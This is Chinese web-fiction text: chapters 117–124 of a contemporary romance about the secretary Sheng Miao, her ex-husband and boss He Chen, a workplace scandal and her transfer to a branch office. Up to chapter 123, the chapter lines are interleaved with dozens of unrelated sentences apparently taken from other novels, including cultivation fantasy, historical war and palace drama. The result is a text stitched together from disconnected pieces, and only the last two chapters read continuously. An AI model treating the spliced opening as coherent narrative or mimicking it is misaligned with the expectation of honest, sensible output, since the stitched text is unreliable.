可怜的大螺还应该长大一点,蛟又不吃螺壳本来是不冲突,但蛟是霸主它要吃新鲜吃完后壳怎么地有别人什么事儿。
老者的视线落到宣于祁身上,神色颇为严厉,似乎正在等他解释。
曾国藩坐下,很随意地伸出两手示意了一下。除亲兵外,所有人都坐回原位。
红枫吱吱唔唔,半天没个整话,并且有意将她捏着的手帕包裹往衣袖中掩。
她本来想去的,可终究还是忍住了,她怕,怕陆景禹看到她会不高兴。
“老太君盯着本妃做甚?”刘紫月扶了一把鬓间的发髻,又低头打量自己,确定没有不妥之处。
“不出五年,我至少也会让他拥有独当一面的能力!”玄空的目光里,满是骄傲,这分明是一种属于强者的自信。
“妙才,这怎么能怪你们呢!你们也是以为我和大兄遭遇了不测,这才有此复仇行为,此乃情有可原的。”听到夏侯渊的自责,曹仁开口反驳的说道。
旋即抬头,赫然,她对上了那双如宝石般闪闪发亮的浅褐色眼珠子,他正微笑地看着自己。
“哼!再不来的话估计你得静坐到明天吧?!”王梓涵冷哼一声。
当红日悬浮在距离地面不到三指的地方之时,炎忆带领着三十万大军和对面十五万的大周士兵形成对峙的形式。
117.你跟贺总在酒店,又睡了?
不过几秒,林昭一脸猪肝色地挂电话。
他慢慢扭头,看向贺忱,欲言又止。
“直接说。”
林昭支支吾吾,“根据那家媒体收到的匿名邮件调查发现,那是……程家的IP。”
贺忱剑眉紧蹙,暗眸划过一抹不解。
但在对付诡异的战斗中“死亡”这种事,陈林已经经历过太多次了,所以已经有点习惯了。
系统提示音响起,许羡眼神瞬间恢复聚焦,头顶上空已经有着压迫劲风传来,头皮发麻的感觉传入心间,许羡第一时间做出了最正确的反应。
顾一剑等高台上的四人身影一闪,便是出现在闻人展的身边,他们联手之下,在气势上,还是有些弱于闻人展。
许羡知道其心中还是有些不服气,不过以后迟早会明白的,倒也没再多说什么。
全家人都沉浸在被圣上赏赐的荣耀之中,唯独陈月和甘顺先生,两人面色如常,仔细看去,甚至还暗藏了几分担忧。
这个时候,顾林不得不停止恢复灵力,双手在身前相合,漆黑的灵力不停的灌注于黑锁牢笼的锁链之中,以此来维持牢笼的稳定。
经纪人嘛,这几乎是比老婆还要亲的人,如果真的出了事,那经纪人能坑死你。
随后“砰”的一声,宁安一拳重重的落在了陆贺玦帅气的脸颊上。
她还是忍受不住的叫人把他带到了自己面前,至于为什么别人把他带过来,是因为东方仪实在是看不到他的人。
东方仪因为心情大好也没有注意到东华的异样,迈着阔步朝着御花园的方向去了。
结果,在市中心绕了几圈,江别忆一点要谁的迹象都没有,反而是妞妞呼呼大睡。
“还好啦……青墨颜,你不开心?”她注意到他脸上的神‘色’不似刚才在屋里那般从容悠闲。
夜色蔷薇酒吧,位于一条很繁华的马路上,距离咱们学校几公里,我和顾祁寒在晚上八点多的时候,来这里打探情况。
韩琳和季如风对视一眼,然后就起身跟着出去了,几分钟之后,几人被领到一个豪华又很大的办公室里面,刚好见到卓凌风正和一个肥仔在那里称兄道弟的聊的正欢呢。
这名花庄主说这句话时,显得极其诚恳,我若不是上一世尝试过他的手段,此刻恐怕就已经信了他的话了。
我低下头一看,不仅气恼,而且羞愤,这厮真是随时随地发、情的物种,擦个药也能有反应。
其实也不是多大的事,她出宫的时候他是知道的,有陆无痕他也没什么好担心的,但她回宫来就有守宫门的侍卫过来禀告他了,哭着回来的。
我叹了口气,前一阵子我感觉我隐隐约约要突破到玄阶了,可是最近却又感觉没有一丝突破的迹象了。
李奶奶看着我笑了笑,很热情跟盖聂握手,还说改天一定要去她家里吃饭。
也许对他而言,欧阳锦只是一次乱性之后的产物,根本算不得什么。
眼看地火蜘蛛的进攻绵绵不绝,三人就算有丹药,要想冲出重围只怕也不能。
“好吧?”水莲消失了,虽然水莲现在还不太认同他的做法,但是拥有神位的好处简直相当的诱人,简直就是修成了正果一样。
“那你没说我要这个?让他送我一粒你看行不行?”李明表面上没有什么变化,但是心里面却很是激动的说道。
118.沈渺引咎辞职
车厢里空间逼仄,又十分静落。
程青良的话,清晰地传入明黎艳的耳朵里。
明黎艳诧异地看向孙易琴。
海神军队的首领瞪大了惊恐的三角眼,他的面前肢体横飞,惨叫连连。而他自己却一点事儿也没有,如此精准的控制力令他不敢妄动。
要说神仙皆是救世主,他们不是还有一套“驱魔正心”法宝可以用吗?当年帝尊创造这套神功的时候,就是专门用来度化星民的,当时也是百试百灵很好用的,如今怎么就不管用了呢?
为了尽量避过易堵塞的路段,武云改换了路线,绕着市中心区的外沿道路向西而去。
靠近青年身侧的一中年刀客消失,下一刻便出现在刚才出声威胁的青年面前,也不出刀只是抬起左手向青年头顶重重拍下。
蔡华刀和丁蒙立即跑向江枫,与此同时,江薇和寻天也跑向江枫。
一个个熟悉和陌生的面孔,一道恐怖而又强横的气息在其中沉浮。汇聚了天下五域最为强大的先天强者,将在这个地方决一胜负。
一个是十阶魔兽,一个是超阶的十一阶魔兽。两大巨兽一交锋,便引得天地为之变色,山河为之动摇。
“不好意思,没有上级的命令你们不能进。”就算看到吕飞穿着和他们一样的制服,站岗的两位警员也并没有给他面子。
雷鸣暗自摇头,雷钟当不成‘雷峰’,只能当个傻子、疯子,这些大青狼隐约调度有序,显然是要将雷家子弟引入骰中一网打尽,大黑山里的畜生绝不简单。
“我家后花园,你这个遭雷劈的负心汉。”董青青狠狠掐了一下他的耳朵,随即大步离开。
我大为意外,没想到自己徒手的攻击也如此强大,还真没有辱没全身装备加的那么多力量。
“师兄!”金林儿大仇终于得报,心中却没有想象中高兴,反而更加难过起来,她一下扑进神枫怀里,嘤嘤地啜泣起来。
走进这个山寨,额!应该是部落,李慕就感觉到一股前所未有的衰败之气,浓郁的死气就算是个普通人也能感觉到不舒服,更何况李慕,从一进这部落,李慕的眉头就是皱着的。
说完重重地磕下去,眼前飘过的是那一片黄色耀眼,绿衣青翠,没有看到他们两个的神情。
他们是哈坦迪思最亲近的亲兵,任何人都命令不了他们,包括王子。
一阵红光自德索雅身体绽放,顿时淹没了所有的蓝光。当红光再次消失时,德索雅已出现在远处,狠狠的摔在地上。
“我们已经通知家族了,你们最好马上离开,不要想做一些愚蠢的事,否则你们会后悔的!”左边的保安冷冷地恐吓众人。
风断点头答应了一声儿,跟江越耳语嘱咐了一句,就不再继续跟着,拧身,往山口的方向走去。
电光闪闪,雷声隆隆之下,那一闪而过,昙花一现的闪电一照,那么可以看见不少的人被电击得浑身抽搐,更有甚者头发都被电直了,整个身体都在抖动着。
波涛汹涌的风沙朝五人砸了过去,在即将把五人淹没的瞬间,五人面前莫名的出现了几个白色手执盾牌的骷髅,牢牢的挡在五人的面前,将风沙的攻击全部抵挡住。
119.贺忱会不会因此取消婚礼
“引咎辞职的意思是,绯闻是真的,你跟何之洲确实不清不楚。”
贺忱的手指轻点着桌面,声音规律又沉闷。
穿透性的眼神,朝沈渺看过来时,深沉不可见底。
见沈渺不说话,他又提醒,“离开百荣,何家那边也不会轻易放过你。”
看到这一幕青蛇更是心胆俱裂,他就是用剑高手,岂能不知此等剑道非凡,急忙运起全身法力抵挡。
“奶奶,我是刘彘儿!”以为奶奶没认出自己的彘儿当即开口提醒道。
“科尔森,根据我们第一轮的答题顺序,这一次,轮到你了。”尼克弗瑞提醒了科尔森一句。
“这盒子里装的是……燕国太子丹的项上人头!”跪在地上的使者领袖,有些磕磕巴巴的如是说道。
对方实力强悍只占一个方面,更重要的是,这位玉珠公子有门有派,背景深不可测。
回神之际,宋喜喜已经笑嘻嘻的朝他跑来,自然的挽着他的胳膊。
五毒本源被转化出来,元浊开始引动自身三毒浊气本源进行吸收,随着五毒魔神被消化吞噬,元浊的气势也在一步步攀升。
婳棠现在恨死宁北了,宁北还砍了她一条胳膊,这个仇,婳棠能记到海枯石烂。
谢泽的吻从脸颊慢慢滑下去,每一吻的技巧,都让人像是走在云里一样。
曲芊作为术师,一辈子都跟这样的东西打交道,来到这个世界,还是跟这种东西打交道,没有什么区别,挺好的。
不知为什么,即使她忘记了很多事情,却觉得自己一直特别想要离开这里,跟冷暮寒回去,似乎冷暮寒说的家中,有什么在等着她。
只是楼下的皮伯尔斯可不像他这么舒服,向来自持的涵养,已经被李辰激的完全没有了。
她的心情越来越好,很少再做噩梦,甚至失眠也很少发生,她的生活渐渐地恢复了正轨。
只要他说这钟楼可以留下,那便可以,因为他可以让雨召继续平安无事。
不过公冶楠似乎没有理会她的意图,不等她同意,抱着被子一弯腰,居然从她的胳膊下面钻进了过去。
但是在看到衣襟上沾的那些茅坑里的脏东西后,好不容易好起来的心情,又骤然跌倒了谷底。
夜倾城吸了吸鼻子,忍不住好奇的按下车窗,顿时,一股浓郁的肉香味儿,菜香味,从远方飘了过来。
好些时候都得带着面具生活,好在她眼睛瞎了,什么也看不见,可以眼不见为净。
“那你以后可以多来看看我吗?”老人最后一丝期盼,看着即将离去的陈夏。
收回双手的苏木,想也没想,屈指一点,点在眉心之中,随着苏木张开嘴巴,一滴殷红血滴,蓦然间脱口而出,向丹炉落去。
听到程延元说要与曹如嫣说话,程延滨同意了:“我在前面等你。”就和苏若瑶先走。
其实不用秦一白多说,在场早有不少人掏出先进的通讯设备,连接了自己身后的国家或势力。
他的皇后现在是感冒了,在牵牛村,保姆带她出去诊所,走了个两里路,也不远。苏若瑶的今天穿的是短棉袄,低跟皮鞋,这样显得像是回村的大学生过寒假。而她的围巾把自己的脖子和下班边脸围得严严实实。
当他已经逃到两百里开外时,只听到神社方向又是一声歇斯底里的怒吼想起。想来是那鬼母大神已经看到了其神胎的惨状,故而愤怒欲狂了。
120.,别想进我们贺家的门!
“不会。”
沈渺下意识地说。
说完她因为自己笃定的语气而怔愣住。
“也是,你前婆婆那么喜欢程唯怡,程唯怡就是再没脑子,位置也是稳固的。”
商音扒了口饭,有些含糊不清地说,“跟贺忱毕竟也青梅竹马,看样子程唯怡这个贺少夫人是当定了。”
“呃,这算什么?”甄时峰顿时满脸黑线,向来也只有他撂下别人的份儿,如今自己却被莫名其妙的撂在了一边,想想都来气。
这种感觉就好像某些惊悚恐怖类的电影,血腥的场景能够恶心到人却不一定吓到人,但如开门杀、转身杀等一些突如其来的惊吓方式绝对能让你肾上腺素暴增,心脏噗通直跳,而眼前的一幕亦是如此效果。
”姐姐,姐姐,家门口那么多人,哥哥和莫叔叔他们怎么不出来看看呢!“妮子垫着脚也问道。
一颗迷茫的心将何去何从,那满目锦华的夜色也难以遮掩那沉痛的悲伤。
却见那官道之上几名身穿劲装的精壮汉子骑着高头骏马拥簇着一名鲜衣华丽的裘袍公子由北向南而来,他们一共八人,八匹骏马。
借着由箱体裂缝透进来的光线向下望去,只见被红儿附身的飞妍妹子脸涨得通红,两眼火气直冒。
王首辅对于闯进来的红衣并不意外,他起身将那道圣喻递给木三千,然后起身离开了厢房。
瘦弱身影不慌不忙,长剑抖动,归元剑气施展,这些剑气一斩出,立马旋转成了剑圈。
尽管刻意交代最后还是出了纰漏,霜露那孩子看着温顺心里可是要强的厉害,那脾气上来简直是三头牛都拉不回来的主。
悟空算是知道这个被他摧残很久的修罗的名字了,致浮名字听上去很不错,至于他口中的灰峒应该就是将他抽魂炼魄的仇敌吧。
朴宰相就是故意这么一问,心中当然是百分百地赞同了。要不然,他们成立这个大韩商会还有什么意思?这些人你看看我,我看看你的,都不知道如何是好了。
而此时,剑心与李长老也是愕然发现,两人真气交击的瞬间,气浪朝着四周荡漾开去,地面上那一截灵狐尾。
姬天权、林宗棠和姬澄澈都身负上乘修为,等闲三五日不吃饭混若无事。
“那好,走吧,送我去华夏星那边,你们最好听话,否则,我不介意继续杀人,我想,这个星球上面,不止你们一艘战舰!”胡宇看着他们说道,那些士兵听到了,全都愣了一下。
如果秦家大肆私印钞票,再存储到各地的银行汇中,把真钞兑换出来。这将是怎么样的局面?一天、两天……恐怕过不了几年,整个华夏国流动的那些钱都是假钞了。一旦曝光了,整个华夏国将遭受到灭顶之灾。
没有神剑之力的剑修如同没有爪牙的老虎,纵然力量十足,却失去了致命的威胁。
他看到自己从万丈冰崖之上投进茫茫沧海,一刀将个白袍道士劈得肢体横飞血肉模糊。
“哎,都这个点儿了,你还要出去呀?”陈见雪奇怪问道——马上就到中午吃饭的时候了,跑了一上午,金钰莹就不饿吗?
半信半疑中,廖井丹接过照片,虽然照片拍摄的并不是很专业。角度也不是很理想,但她怎么会认不出那是自已和王仲明在翠微大厦买衣物时的情景?饶是她一向冷静聪明,一时间也愣住了。
121.很难把控的关系
孙易琴将阳台门打开。
“唯怡……”
她的话音还没落地,程唯怡转身朝外走,将在门口的她挤开,夺门而出。
孙易琴踉跄着撞在墙上,她又气又急,“贺忱,你快去追她啊!”
见秦无名不解,施大叔就详细说了下,说是如今天下总共有五位王,他们越国的王叫勾践。
伏虎听到这话感觉有些难堪,对付区区一个异人,连秦无名都请出来了,说实话,有点儿丢人。
周大少摇摇头,没立马死,那大天师直接被打懵了,等静静姐走了以后才反应过来,灰溜溜的回了家,结果当天夜里,那大天师就七窍流血死了,连同魂魄一起魂飞魄散了。
运气好才是真的好,有了好运气,难道还愁事业,金钱,爱情离自己很远吗。
面对下一瞬间便会劈到自己头上,将自己一分为二后,再毫不留情地切开自己父亲身体的利刃,叶佳佳怀着悔恨的心,如同大多数死前的那些人一样,想要回到过去,掌控时间。
换言之,就是不值得!第九时代区因为丢失了天之根,所以世界意志正在变得越来越薄弱,他们只要等一段时间,到时候就算他们是异域王者也可以在这方世界纵横驰骋,眼下没必要这么着急。
顿时间,青龙欣喜若狂,恨不能抱紧了第五念,给她来一个热情火辣的吻作为感谢。
“我为什么要随你去神殿?你算是什么东西!”齐璇假意转身要离开。
第五念回眸,正巧看见了大屏幕上自己的照片,最上面写着三个大字:通缉令。
可她又觉得,如果拒绝了,怕是以后永远也没法和秦无名在一起了。
“最先进城的四个?怎么就剩下你们两了?别的人呢?让我们给打死了吗?”猛子追问道。
这几个姨娘便是要阻止那些再给郡主的惊喜,她们知道郡主一惊后绝不会喜,她们比那几个姨娘的下场绝好不到哪里去。
“我知道,这一场的战斗看来已经是到了不可收拾的地步了”大长老神色认真地说道,随后突然睁开了眼睛,接着抬起了头,看向了那暗沉天空之下一片接着一片的昏暗。
姜非的拇指往扳机上一勾,他就觉得有些不对劲,因为在子弹射出去的一刹那,他能感觉出来,盒子枪猛的往上一跳,枪把手差一点没从右手跳出去。
暖阳见墨霖摇头,索性不再想这件事儿——杨氏既然能击败众姨娘稳坐主母之位,还在公爹去世后将那些姨娘送往别院,便知她不是省油的灯——且由她查去,自己须先回去看看季妈到底在哭些什么。
萧萱看他那样,也没说什么,跟着走出了房门,简单走出之后,两人并肩离开了这栋古怪的房子,向萧萱口中不肯承认的家走去。
如果丈夫对她动手,或许她还没有郁闷,毕竟拳脚她不怕他,可是丈夫真的是冷暴力,让她无处可发泄,甚至让她抑郁至此。
“好,正愁没地方吃饭!”那人冷冷地说道,然后一个箭步就跟上了黑衣男子的速度。
“哼……”莫伊莱从鼻孔里发出一点笑声,无力的向兰儿挥了挥手,仿佛在驱赶着什么惹她厌烦的东西一样,才扭转了身,跌跌撞撞的走了开去。
122.发自内心的,就是不想让沈渺离开
好大的名头,不过是众人捧起来的罢了,眼下能捧也能摔,何必理会区区一个凡夫俗子的命令。
行出两公里,正好路边有一家超市,肖遥喊停了出租车,借口要买包烟,独自下了车。
吕布闻言思量了片刻,才道:“士元所言有理,便让我去找下义父。”庞统点头,见他出账。也就跟了出去,毕竟在帐内也闷,享受外面寒风扑面,也好警醒自己。
庞统接过圣旨,命人厚待来使。他到上座后直接把圣旨扔到了矮桌上。此时鲁肃、赵云等人在场。
这种独特的摄人心魄的凛冽寒意,和当时的感觉如出一辙,甚至威力还要犹有过之,直接影响了周围一大片山脉。
林向南微不可见的轻蹙了下剑眉,视线落在凌汐叶那吃辣锅一副很过瘾的样子上,不由得,又想起了叶子瑜。
干涉的种类分为一方能够生成令一方的相生,以及一方能够灭杀另一方的相克,举个例子来说,土能养木,所以称土生木,而反古来金能伐木,所以称为金克木。
原来,沟渠内被倒入了煤油,上面覆盖草堆。此时火箭射下,点燃火焰。燃烧的沟渠迫使大军后退,工人无法作业。不过这不是最糟糕的。一路骑兵不知道从哪里来的,竟然冲入庞统军大寨,守兵抵抗。
“有没有医生,这屋里有一名重伤员,需要救治。”肖遥扯着嗓子冲着走廊里大声喊道,人向门外用力的挤去,回手将病房的门给关上了。
失落自然是难免的,想当初,他走到哪里,那里不是毕恭毕敬的,他出去有人让道,他去酒楼吃饭,啥时去啥时有位置。
章天刚带着镖局最精干的镖师,辞别师傅带队前往平山镇。事先江刺史有交待,这批蜜水果喜凉怕热,那就只能早行晚宿。这是镖行的大忌,走镖讲究早动身早住宿,晚间是绿林好汉活跃的时候,容易出事。
掌门说着说着就要跪下去,刘鼎天自然承受不起他这一拜,不说功法等级,光是他这一头的白发,刘鼎天他敢受他一拜,连忙上前将他扶了起来。
江安义见他暗算过冲云,哪会上当,从地面上拣起石头远远地砸去。齐云山连挨数下石头,知道算计不了江安义,咬牙提气,拄着拐杖跃起,拼死向江安义扑来。
“你……你怎么又回来了?”徐新鹏看着秦明用颤抖的声音问着他。
两年之后再见胡濙却让陆缜吃了一惊,因为眼前这位老人的变化实在有些太大了。
只是这样还不行,巴尼亚的居民们不会知道自己为什么会死而复生,但他们知道有三个可怕的恶魔来到了这个世界。还有知道巴尼亚镇杯毁灭的人们有许多,如果他们看到这个镇子又复活了的话,绝对会引起恐慌的。
自家大人身上衣裳已很有些破损,一看就知道是在摔倒滑落时磨破的。而且其目光很有些迷茫的样子,显然不是装的。在这一刻,一个很不好的想法跃入了他的脑海——莫非大人出了什么岔子,连我们都不认得了。
四更天,外头的天还黑着呢,陆缜便已起来了。并在楚云容的悉心照顾下,全身都换上了一整套崭新的袍服,就连那官帽都是新近才让人做好的。
可是还没等他寻找张霸道等人的身影,系统的提示音却是在这个时候响了起来。
若不是冶山流云修为高深,本作为赶尸派的长老,就算是换成其他的修真门派的长老恐怕是早就魂归楚王墓了。更是值得庆幸的是拿到了随候珠。
可以说他现在就是有一点休克,虽然说有点危险,但是却并不致命。
贺馨儿昨个特意交待他爹买了些做八宝粥的食材,昨个晚上泡黄豆时,也把八宝粥里用的豆类拿温水泡了,放到菜园子里。
好温柔的声音,南汐想着以后要多生些病。伴随着温柔的声音和粗壮有劲的大手十指相握,缓缓的睡去。
看了眼还有一个分身,正在将江夜包裹在其中,他没有选择收回。
原来这田七卡在筑基巅峰已有不少年头了,便是他自己都已心灰意冷,以为终其一生也就是如此,与金丹大道无缘了。
那些渡劫散仙闷哼了几声,面容扭曲,转身朝着洞口飞了上去,无一人敢停留在底下。
是她的背影照,身上穿的正是那晚的白色吊带裙,双手背在身后拿着一束白色郁金香,在她黑色长发下,格外醒目。
不出所料,进了寝殿,上官婉儿便坐在了美人榻上,桌子上铺着一桌子的纸。
那些令人难以启齿的脏话,字字句句飞进沈意窈耳鸣般的脑海里。
“那好吧,舅舅要是从窑厂那边回来的时间早,我就到你们家里去。”花梨想明白了,便笑着说道。
万颗体界从风玲儿体内冲出,一颗颗围绕旋转,虽然每颗体界也还不足十万丈,但比之风杨的要成熟许多。
顾涵浩这才再次往那个角落走过去,他这次要把‘蒙’在油画上的黑布掀开。看看下面究竟有什么名堂。
“唐宁,你回来!”李湛以迅雷不及掩耳之势去抓唐宁的手,唐宁却后退一躲,直接抓住了萧清寒的手。
“怎么可能?怎么可能是焚天境!”蓬莱喃喃自语,不可能的,她怎么可能会突然到了焚天境,她敢百分百的肯定那个叫云矶‘混’蛋修士绝对没有能力送她到焚天境。可眼前这一幕又该怎么解释呢?
左良见贺萱没有对自己发脾气,心下便晓得此时她的气也消了八九分,便微笑着装作看棋一般走了过去,但也只是立于桌边,只是悄声看着。并没有说什么。
123.前夫给前妻撑腰
两人各不相让,让调职的事情僵住了。
沈渺继续停职,她在贺忱的办公室出来,迎面而来的同事皆是问了句:‘沈秘书,你是来走离职手续的吗?’
听到沈渺说不是,那些人的目光多了许多耐人寻味。
吴蕾倒是不意外,她去二楼送文件,顺路跟沈渺一起下楼。
“那贺总打算怎么处置你?”
‘处置’两个字,用得好。
沈渺摇着头,“具体还没定下来。”
贺忱已经松口调职,会不会离职不知道,但以后肯定不会来公司。
但一切尚未成定局,她没往外透露只字半语。
在百荣离开,她回到商音那儿,刚好吃晚餐。
商商躺在婴儿车上,乌黑的大眼睛直往桌子上看。
商音熬夜直播,习惯晚上来杯高浓度咖啡,喝一口她的眉头皱的比打了死结还严重。
“苦尽,不知道甘能不能来呢。”
沈渺手里捏着一个小鸡腿,一边吃一边馋商商。
“必须来。”
她这番笃定的语气,让商音立马抬眼看过来。
“受什么刺激了?硬碰硬啊?”
人家硬如钢铁,而沈渺是瓷儿的。
论背景她比不过程唯怡。
论实力她比不过贺忱。
拿什么碰?
沈渺这辈子,就是太‘顺’了。
从孤儿院到名校,虽然日子苦了些可路途还是顺利的。
毕业后进入百荣,被贺忱一路提拔。
她一个没有背景的人混到今天,得到的回报是超出付出比例的。
正因为这样,她的骨子里有股韧性。
才敢在工作上,跟贺忱叫板。
所有的不顺,都在她怀了这个孩子开始。
她有所忌惮,小心翼翼,只图全身而退,却弄巧成拙,越陷越深。
深陷在贺忱跟程唯怡之间。
就看上午程唯怡那态度,憋着气道了歉,贺忱前脚走后脚变脸。
就算沈渺不呛她两句,这个仇也是越结越深的。
沈渺确实跟他们碰不起,所以工作上她不能退步了。
贺忱高兴也好,生气也罢,她都不能再待在百荣了。
她将今天程唯怡道歉的事儿,讲给商音听。
商音一口就把浓缩黑咖啡给干了,“痛快,咖啡都不苦了!”
沈渺将小鸡腿吃完,把骨头扔了起身去厨房洗了把手。
再回来,就看到商音又满面愁容。
“你要是把贺忱得罪了,可怎么办?”
沈渺坐回来,拿起筷子的动作一顿。
贺忱那张轮廓分明的脸在她脑海里一闪而过。
她笑了笑,“他要真不高兴,就炒我鱿鱼了。”
贺忱比何之洲宽宏大量,不记仇。
尤其,错不在沈渺,他不会把这口气撒在沈渺身上。
只是……
贺忱也不该在她离职的事情上,如此犹豫。
贺忱到底是怎么想的?
沈渺猜不透的人,此刻正在露台的藤编椅上坐着。
他指骨分明的手里端着一杯红酒,轻靠着椅背,深邃的眼眸落在一望无际的浩瀚星空。
房间里传来脚步声,“孙子。”
贺老夫人在房间里没找到人,喊了一声往外走。
贺忱坐直身体,倾身朝室内看,“奶奶。”
“你跑那儿去做什么。”
贺老夫人又折回来。
她走到露台,目光在小矮桌的空酒瓶上一扫而过。
贺忱起身,将藤编椅让给贺老夫人坐。
“您找我。”
贺老夫人坐下去,两条腿都离了地,藤编椅轻轻晃动着。
“渺渺的事情,你到底怎么打算的?”
贺忱在小矮凳上坐下,修长的双腿微敞着,手肘抵在腿上。
“您有话可以直接说。”
贺老夫人并不是来关心,贺忱到底怎么安排沈渺。
因为不管贺忱怎么安排,也绝对不是她想的那么安排的。
“一日夫妻百日恩,这件事情错在程唯怡,渺渺也是受害者,你总要弥补她一些。”
贺忱放下酒杯,十指穿插,静等着贺老夫人下文。
贺老夫人斟酌了下。
“你不如,就顺水推舟,帮她嫁到何家。”
这直白的话,钻入贺忱耳朵里,炸开。
贺忱只觉得耳朵一刺,他长眸眯成一条线。
“您说什么?”
“沈渺跟何之洲就算明面上没在一起,也有点什么。”
贺老夫人没吐露沈渺怀孕的事儿。
倒不是不信任贺忱,只是觉得没必要。
沈渺跟何之洲有点什么?
贺忱眸光一凝,“您听谁说的。”
“这你就别管了,反正帮她一把吧,何之洲品行虽然一般,但何家条件不错,咱们给渺渺撑腰,她嫁过去不会受欺负的。”
贺老夫人现在就两个愿望。
一是看着贺忱结了婚,二是给沈渺也安排个好人家。
哦不对,再许一个,给贺懿也找个好人家。
三个愿望吧。
“我听说过哥哥给妹妹撑腰的,也听说过丈夫给妻子撑腰,唯独没听过,前夫给前妻撑腰。”
贺忱的嗓音有些沉。
透着一股深秋时节的凉意。
贺老夫人看了他三秒问,“你什么时候把她当过前妻?”
贺忱:“……”
他要是把沈渺当成前妻,哪里还会有这些事情发生?
初夏第一场雨,来得快而急。
贺老夫人从藤编椅上起来,往屋内走,“唉,要不是你们两个突然离婚,哪里会有今天这些糟心事儿……”
贺忱起身送她,听到这话脚步一顿。
桌上的手机响了。
他又折回露台,拿起手机接电话。
“贺总,我这儿……”
“我马上到公司。”贺忱不等林昭将话说完,就打断道。
他挂了电话,进衣帽间换了件黑色衬衫,阔步离开院落,上车就走。
雨来得急走得急。
到公司时,雨已经停了。
贺忱跟林昭前后脚进的公司门。
林昭快走两步,追上贺忱,一同乘电梯上去。
“什么事?”
“就,国外的医生约好了,下周飞京北。”林昭弱弱地说。
贺忱指腹轻轻在表盘处摩擦。
他掀弄起眼皮在电梯壁上看了一眼林昭。
“就这?”
这语气,分明是嫌弃林昭把他折腾到公司来了。
可林昭没让他来公司啊。
林昭一气之下,气了一下,“抱歉,打扰到您休息了。”
“下不为例。”
电梯门开了,贺忱阔步进入办公室。
林昭想说若没别的事他先走了。
可贺忱走得太快,他跟到办公室里,才找到机会开口。
“贺总,时间不早了,没别的事情您也早点歇着吧。”
贺忱走到沙发前坐下,双腿微敞靠着沙发背,微仰的头将下颚线条完美展露出来。
他合着眼未睁,喉结滚动说了句,“林昭,你说沈渺当初为什么嫁给我。”
124.当初,沈渺愿意嫁给他吗?
林昭跟了贺忱这么久,从来没谈过工作之外的事情。
尤其还是感情上的事情。
沈渺跟贺忱意外睡了那一晚,隔了一天就让林昭去准备婚前协议。
所以哪怕这两人都没说,他也知道是为了负责。
贺忱娶沈渺,是为了负责。
沈渺嫁贺忱,是为了……被负责?
“贺总,您喝酒了?”
林昭闻到贺忱身上有淡淡的酒味。
贺忱眉尾一挑,朝他看来的目光带着几分不满。
显然是怪他答非所问。
“我跟沈秘书也不是特别熟。”林昭被那一个眼神看得心里发虚。
他硬着头皮参与顶头上司的感情私事话题。
“但结婚是您提的,她总不能拒绝吧,毕竟您是她老板。”
林昭是这么认为的。
在他的认为中,沈渺嫁给贺忱成了被迫。
有种被上司睡了,怕被上司穿小鞋,又被迫嫁给上司的既视感。
幸好贺忱长得不是肥头大耳,年纪大又秃顶的老男人。
不然——
“照你这么说,她不愿意嫁给我?”贺忱的声音徒然冷了不少。
林昭一激灵。
他说了什么?哪句话表达错意思了?
“当然……不是,您相貌出众能力出众,是个女人都愿意嫁给你,沈秘书肯定是愿意的啊!”
当初,沈渺愿意嫁给他吗?
贺忱回忆了下,他问沈渺结不结婚。
沈渺犹豫了好一会儿,才说结。
她在犹豫什么?
犹豫不结,会是什么样的下场?
“贺总,您跟沈秘书都离婚这么久了,想这些干什么?”
林昭试图将话题从他说错话带来的漩涡中,转移出来。
但他说完,忍不住小声脱口而出了句,“沈秘书可从来没跟我说过这些……”
算下来,沈渺真是林昭见过的下属、女人、前妻,三个类别中最有分寸的。
她集这三个身份与一身,却从来没有干过出格的事儿。
办公室里太安静了。
他很小声的话,还是被贺忱听到了。
“你听起来,很有见解,那你再说说,她为什么要离婚。”
林昭:“……”
危机感十足。
谁敢对上司的感情评头论足?
“贺总,要不我给沈秘书打个电话问问?”
贺忱鹰隼般的眸沉下来,他薄唇吐出一个字,“滚。”
林昭连寒暄都顾不上,扭头就走了。
不正常,今天的贺忱太不正常了。
喝了酒,还因为他一通没说明情况的电话,冒着雨从家里跑到公司来。
问了两个不符合他智商的问题。
直冲云霄的大厦,顶层办公室的灯亮如白昼。
凌晨两点,贺忱洗了澡穿着浴袍出来,准备在休息室凑合一下。
秦川发来消息:【你请我老师来国内了?】
贺忱:【嗯。】
秦川:【为了给程唯怡看诊?听说她不配合,你有计划?】
贺忱避而不答:【你怎么还没睡。】
秦川:【医院不把我当人,什么病患都让我接手,一天安排了六台手术。】
这个点,他刚从手术台上下来。
看到老师发来下周来京北的消息,他立马给贺忱发消息。
没想到这么巧,贺忱也还没睡。
他戴上蓝牙耳机,开车回家,拨通贺忱的电话。
“在国外搞科研不好,非要回国干什么。”
贺忱将手机丢在一旁,从衣帽间挑一套浅灰色睡衣换上,“而且你不是说再也不回国。”
秦川那端能听到汽车的嗡鸣声。
他沉默了好一会儿才说,“身不由己。”
贺忱将衣服换好,拿起手机出来上床。
“秦家大少,还有身不由己的时候?”
秦川一声苦笑,“我在秦家,什么时候有过地位。”
唯一的地位,就是跟贺忱关系不错,秦家出资送他去国外留学。
“我帮你摆平。”
贺忱等着他主动说,回来的原因。
秦川沉吟片刻,越过这个话题了,“你打算怎么处理你那个秘书。”
新闻闹得沸沸扬扬。
不在这一行的,不关注这些。
但秦川因为跟贺忱的关系,格外留意商业新闻。
“该怎么处理就怎么处理。”
贺忱言简意赅,他将手机拿过来,“挂了。”
床头开着一盏暗灯,将他的身影打在墙壁上,勾出挺拔有型的面部轮廓。
他侧躺着,却迟迟不能入睡……
——
沈渺等了两天,终于等来了调职下文。
贺忱让她做一份分公司考察表,看哪个分公司更需要她。
这等于把选择权,交到了沈渺自己手上。
百荣分公司遍布大江南北,可惜的是先前她跟商音决定去的地方排除在外。
因为她们刻意避着贺忱呢。
“贺忱接手公司这么多年,只去就近的两个分公司考察过,而且只是到公司转一圈,所以不论我选哪里,都大概率不会再见到他的。”
沈渺嘴上这么分析,还是选择了离着京北较远地方的分公司。
兰洲。
那地儿偏南方,冬天不会太冷,夏天也不会像京北一样干热。
她就兰洲的分公司展开调查,近几年那边都处于赔钱的状态。
因为地理位置有些偏僻,虽然是一线城市可不如其他地方发达,导致发展落后。
“你可别上任没两天,再倒闭了。”
商音有些担心,“而且你刚过去没几个月,就要休产假,万一有突发状况你赶不及处理,就是纯背锅的命。”
沈渺看她一眼,“乌鸦嘴,我休产假总公司会派人过去暂替我的工作,就算有突发状况也不至于倒闭。”
她对这个分公司印象深刻。
